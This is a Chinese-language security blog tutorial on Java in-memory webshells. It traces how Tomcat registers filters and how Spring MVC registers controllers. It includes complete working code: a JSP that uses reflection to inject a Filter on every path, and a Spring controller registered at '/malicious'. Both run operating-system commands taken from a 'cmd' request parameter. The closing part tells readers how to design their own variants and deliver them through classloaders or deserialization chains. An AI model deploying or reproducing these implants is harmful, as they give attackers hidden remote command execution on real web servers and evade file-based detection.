【技術分享】前塵——內存中無處可尋的木馬

前言
很早之前就立下flag說聊聊內存馬,然后出了一篇文章Java Agent的內容。后來就擱淺了,這次想先寫聊聊兩種最為常見的內存馬,spring內存馬和filter內存馬。
兩種內存馬異同
既然寫出了兩種內存馬,那么兩者一定有他的不同之處。基于filter類型的內存馬更適用于老版本的javaweb工程,其單純依賴于jsp,servlet這種站點,然后使用filter過濾器注冊出一句話木馬。而spring內存馬準確來說應該叫做springmvc內存馬,由于springmvc被列入spring全家桶,所以spring內存馬也因此由來,此種類型的馬適用于前些年較火的SSM框架。所以使用哪種內存馬取決于目標采取的項目架構。相同之處就在于其原理都是通過反射的方式注冊了一個給用戶訪問的方法,而方法的內容為常見的各類webshell。在下文之前我想給讀者一點提示,內存馬通過web路徑的方式訪問,而路徑就需要向代碼中添加和請求路徑相匹配的方法,來處理請求中攜帶的命令執行的參數。
filter型內存馬
與spring內存馬不同的是,filter類型的內存馬訪問的流程提前于spring內存馬。而相同的是,依舊是創建一個訪問集,將webshell當作這個訪問集的處理方法。

聲明一個filter有兩種方式,一種是通過xml配置文件的方式,另一種是通過注解的方式。
我們通過對filter注解方式的源碼查看,了解其注冊的流程。
@WebFilter(filterName="FirstFilter",urlPatterns="/first")public class FirstFilter implements Filter { @Override
public void init(FilterConfig filterConfig) throws ServletException { // TODO Auto-generated method stub
} @Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException { // TODO Auto-generated method stub
System.out.println("進入Filter");
chain.doFilter(request, response);
} @Override
public void destroy() { // TODO Auto-generated method stub
}
}
Filter的執行流程
詳細的說,Filter的執行流程主要分為兩個部分:
初始化部分:對于定義好的Filter過濾器(例如上面自定義的MyFilter),會首先創建過濾器對象,并保存到過容器中,并調用其init方法進行初始化。
執行部分:當匹配到相應的請求路徑時,首先會對該請求進行攔截,執行doFilter中的邏輯,若不通過則該請求則到此為止,不會繼續往下執行(此時通常會進行重定向或者轉發到其他地方進行處理);若通過則繼續執行下一個攔截器的doFilter方法,直到指定的過濾器都執行完doFilter后,便執行Servlet中的業務邏輯。
Init Part:
通過自己編寫webfilter類并調試,發現其初始化的最上級為StandardContext類的startInternal方法
其方法主要內容為
if (ok) { if (!filterStart()) { // 初始化Filter。若初始化成功則繼續往下執行;若初始化失敗則拋出異常,終止程序
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
}
看來真正初始化filter的是filter start方法。
此處先了解兩個Map集合
// filterConfigs是一個HashMap,以鍵值對的形式保存數據(key :value = 過濾器名 :過濾器配置信息對象)private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap<>();// filterDefs同時也是一個HashMap,其中保存的數據是(過濾器名 :過濾器定義對象)private HashMap<String, FilterDef> filterDefs = new HashMap<>();
其中ApplicationFilterConfig包含過濾器名、初始化參數、過濾器定義對象等等
其中FilterDef定義了filter的名稱,類路徑,以及filter聲明的實體類。
由此可以得知:FilterDef+過濾器名+初始化參數+xx等等=ApplicationFilterConfig
繼續跟進filter start方法。
public boolean filterStart() { if (getLogger().isDebugEnabled()) { // 日志相關
getLogger().debug("Starting filters");
} boolean ok = true; synchronized (filterConfigs) { // 初始化過濾器屬于同步操作
filterConfigs.clear(); // 在初始化前,先清空
for (Entry<String,FilterDef> entry : filterDefs.entrySet()){
String name = entry.getKey(); // 獲取過濾器名
if (getLogger().isDebugEnabled()) { // 日志相關
getLogger().debug(" Starting filter '" + name + "'");
} try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue()); // 創建過濾器配置對象
filterConfigs.put(name, filterConfig); // 添加配置對象
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString("standardContext.filterStart", name), t);
ok = false;
}
}
} return ok;
}
關于代碼第九行遍歷filterDefs時產生疑問,filterDefs中并未進行初始化填值,所以值從何處來。
for (FilterDef filter : webxml.getFilters().values()) { // 循環配置信息中的過濾器定義對象
if (filter.getAsyncSupported() == null) {
filter.setAsyncSupported("false");
}
context.addFilterDef(filter); // 將過濾器定義對象添加到容器中}/**
* 最后發現fireLifecycleEvent方法最終調用的是StandardContext類中的addFilterDef方法
* 而參數filterDef正是容器context經過解析web.xml文件或者注解配置后創建的過濾器定義對象
* 但此時filterDef中的真正過濾器對象filter還未初始化,因此才會有之后的初始化過濾器方法
*/public void addFilterDef(FilterDef filterDef) {
synchronized (filterDefs) { // 同步添加過濾器定義對象
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);
}
Invoke Part
調用Filter的方法入口StandardWrapperValve類中的invoke
public final void invoke(Request request, Response response) throws IOException, ServletException {
...
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet); // 創建并初始化過濾器鏈
try { if ((servlet != null) && (filterChain != null)) { // 此處需要判斷servlet和過濾器不為空。因為在執行完過濾器鏈中所有的過濾器doFilter方法后,就會輪到真正處理請求的servlet來處理
if (context.getSwallowOutput()) { try {
SystemLogHandler.startCapture(); if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture(); if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else { if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(), response.getResponse()); // 執行過濾器鏈中的所有過濾器的doFilter方法
}
}
}
} catch(...){...}
...
}
到此處有一個疑問,filterChain怎么創建的?
ApplicationFilterFactory類的createFilterChain方法:
其中牽扯
FilterMap filterMaps[] = context.findFilterMaps(); // 獲取過濾器映射對象
filterMap 怎么來的?
public class FilterMap extends XmlEncodingBase implements Serializable {
... private String filterName = null; // 過濾器名,對應的是<filter-name>中的內容
private String[] urlPatterns = new String[0]; // 過濾url,對應的是<url-pattern>中的內容(可配置多個<filter-mapping>匹配不同的url,因此是數組形式)
...
}
filterMap它其實就是個封裝了配置映射信息中 過濾器名 和 對應過濾url 參數的對象數組。
最后構造惡意對象如下所示:
<%
String name ="filter";
ServletContext servletContext = request.getServletContext();
ApplicationContextFacade contextFacade = (ApplicationContextFacade) servletContext;
Field applicationContextField = ApplicationContextFacade.class.getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(contextFacade);
Field field = ApplicationContext.class.getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(applicationContext);
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigs.setAccessible(true);
Map configs = (Map) filterConfigs.get(standardContext); if (configs.get(name) == null){
Filter filter = new Filter(){
@Override public void init(FilterConfig filterConfig) {
}
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String cmd; if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line; while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close(); return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
filterMap.addURLPattern("/*"); /**
* 將filtermap 添加到 filterMaps 中的第一個位置
*/
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
configs.put(name,filterConfig); out.write("success");
}
%>

spring型內存馬
我們經常聊SSM框架中三層模型,DAO層負責數據庫交互,service層負責業務邏輯的處理,controller層負責用戶請求接口的匹配。以前做過的項目在上家公司離職都刪除了,所以github隨便找了一個項目供大家參考。(注:三層模型僅為邏輯分層,符合代碼規范,可不照做。)

而spring內存馬的核心就在于controller層

圖中項目所用到的注解@GetMapping 聲明了前端訪問后臺時所匹配的路徑,相同類型注解還有@PostMapping以及@RequestMapping其區別在于請求方使用post方式請求還是get,而request即為全部兼容。然后處理的方法為其下方books方法,內部通過調用service層的方法處理然后返回。
對Filter內存馬有了初步的了解之后,我們來轉到springmvc的Controller型內存馬。
public class Controller{ public Controller(){
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method2 = InjectToController.class.getMethod("test");
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, injectToController, method2);
} public void test() {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse(); // 獲取cmd參數并執行命令
java.lang.Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
這是我在網上找的controller型的內存馬,我們來分析其主要實現邏輯
1.利用spring內部方法獲取context
2.從context中獲得 RequestMappingHandlerMapping 的實例
3.通過反射獲得自定義 controller 中的 Method 對象
4.定義訪問 controller 的 URL 地址
5.定義允許訪問 controller 的 HTTP 方法(GET/POST)
6.在內存中動態注冊 controller
7.實現controller中的method對象
仔細對比github中實現controller的方法和通過反射的方式注冊的兩種對比,可以發現。
基于springmvc做的controller內存馬其實就是將原本注解方式方提供的實現方式,以代碼的形式實現。而使用的類就是注解的實現類。
聊聊疑惑
看完兩種內存馬
1.基于filter型的內存馬
2.springmvccontroller型的內存馬
我想回答幾處疑問
1.controller型內存馬實際為@RequestMapping注解的代碼實現,Filter型內存馬實際為@WebFilter注解的代碼實現,為什么不直接使用注解構造內存馬,這樣做代碼量少還很方便?
使用注解的類在java運行時有一個條件,這關乎于java代碼運行和加載的流程。當jar包在初始化時,jvm會掃描使用到使用到注解的地方,并且將其解析。而內存馬是在程序運行時產生的,這恰恰錯過了jvm掃描到注解并解析的過程,所以使用注解使用則不會生效此為其一。其二為對于安全從業者來講,我們通常喜歡使用反射機制。從某種意義上來講,反射可以繞過多種限制,這里舉例<如何破解Java中的單例模式>。反射更像是一種入口,從反射機制可以映射出任意類,這大大提高了代碼抽離性。
2.內存馬的變種那么多,例如resion的變種內存馬,基于springmvc的intercetor型內存馬等等,我們應該如何發現屬于自己的內存馬?
市面上的內存馬變種很多,數不勝數。打造屬于自己的內存馬的前提是我們要清楚內存馬的共性。前端用戶輸入的參數到后臺處理結果,將結果返回給前端,這個過程中經歷了什么我們要清楚,他的執行流程是什么。例如 從過濾器——>攔截器——>controller
這樣一個過程中,哪些環節是我們可以向其插入執行邏輯的。簡而言之,哪里能捕獲到用戶輸入的參數,并且可以自定義其對參數的處理邏輯哪里就可以被當作內存馬的殖民地。市面上的內存馬無一例外都有這種特征。選擇好植入的位置,下一步就是怎么深入其實現的原理,如filter型,聲明filterdef,filtermap,filterconf等等就可以創建一個filter對象,使用反射將其實現。

3.明明兩種方式都有落地文件,怎么算的上內存馬?
這個問題要結合內存馬的使用方式,在上篇文章中介紹了一部分關于冰蝎的一句話木馬實現邏輯,提到最關鍵的類為Classloader,其可以將java的字節碼加載到jvm中。內存馬就可以配合此使用,將內存馬編譯字節碼然后加載此為其一。
其二是配合java的反序列化使用,在存在java反序列化的地方,使用構造鏈+內存馬的形式發送給解析鏈,解析鏈就會實現內存馬的類。不清楚反序列化的可以看我之前的文章,有shiro,cc,spring等等。
總結
與其說這是一篇分析內存馬的文章,我覺得還是叫他 Filter的實現原理深入,以及關于 RequestMapping 的實現原理深入說的準確。一句話木馬加上執行鏈的任意一環就是我們所說的內存馬。到這里我們從java的反序列到冰蝎一句話木馬原理探究再到內存馬的系列,回頭看我們走了很遠。我們會發現一個特點,這些知識點都是串連的,他們看似毫不相干,卻又息息相關。滲透的本質是信息收集,而攻防的體系是知識點的串聯。有一天你我會發現事物的本質是如此重要……